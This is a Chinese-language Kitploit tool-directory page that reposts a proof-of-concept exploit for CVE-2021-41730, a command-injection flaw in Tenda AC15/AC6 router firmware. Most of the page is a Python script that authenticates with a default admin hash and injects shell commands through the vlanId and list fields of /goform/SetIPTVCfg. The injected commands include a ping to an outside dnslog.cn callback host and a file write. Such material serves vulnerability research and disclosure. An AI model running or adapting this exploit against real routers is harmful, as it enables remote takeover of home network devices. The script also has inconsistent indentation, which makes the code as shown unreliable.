Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41730 — 针对CVE-2021-41730的概念验证利用程序,演示了通过未验证的formSetIptv()参数在TENDA AC15/AC6路由器上实现远程命令执行。包含Python POC和漏洞分析。 | Kitploit
工具/GitHubGitHub/yezeting/cve-2021-41730
嵌入式系统安全Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制硬件与物联网安全
GitHubyezeting/cve-2021-41730

CVE-2021-41730

针对CVE-2021-41730的概念验证利用程序,演示了通过未验证的formSetIptv()参数在TENDA AC15/AC6路由器上实现远程命令执行。包含Python POC和漏洞分析。

查看仓库
144年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TENDA 授权远程命令执行

漏洞利用作者: SHENGXI HUANG([email protected])
厂商: TENDA

CVE-2021-41730 - /bin/httpd

固件版本:
AC15: <=US_AC15V1.0BR_V15.03.05.20_multi_TDE01.bin
AC6: US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.......
硬件链接: https://www.tendacn.com/en/download/detail-3858.html

漏洞详情

在 httpd 二进制文件中,由于缺乏有效验证,攻击者可以篡改数据包中 stbEn、igmpEn、iptvType、vlanId 和 List 字段的值,实现一系列绕过,从而导致远程任意命令执行漏洞。

漏洞触发函数

formSetIptv()
image

实际漏洞触发函数

sub_B0F14() / sub_B1100() image

sub_B0F14()

image

sub_B1100()

image

Burpsuite 拦截

image

POC

# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests

def POC(ip,cmd1,cmd2,pwd):
    try:
        body = {
            'username': 'admin',
            'password': pwd
        }
        headers = {
            'Host': ip,
            'Accept': '*/*',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': 'http://' + ip,
            'Referer': 'http://' + ip + '/login.html',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'close'
        }
        r = requests.post(url="http://" + ip + "/login/Auth",
                          data=body,
                          headers=headers,
                          allow_redirects=False )
        password = r.headers['Set-Cookie'].strip("password=").strip("; path=/")
        try:
            body = {
                'stbEn':'1',
                'igmpEn':'0',
                'iptvType':'manual',
                'vlanId':cmd1,
                'list':cmd2 }
           headers = {
                'Host': ip,
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': 'http://'+ip,
                'Referer': 'http://'+ip+'/iptv.html?random=0.5429353367490362&',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Cookie': 'password='+password,
                'Content-Type':'application/x-www-form-urlencoded'}
           r = requests.post(url="http://" + ip + "/goform/SetIPTVCfg",
                              data=body,
                              headers=headers,
                             allow_redirects=False)
            print(r.text)
       except Exception as e:
           print("[error]:", ip)
    except Exception as e:
        print("[error]:", ip)


if __name__ == "__main__":
    ip = '192.168.0.1'
    cmd1 = '1";ping -c 5 fry8vd.dnslog.cn;echo "'
    cmd2 =  '1";echo 2>/tmp/hello3.txt;echo "'
    password = '21232f297a57a5a743894a0e4a801fc3'
    POC(ip,cmd1,cmd2,password)

演示

观看视频

下载工具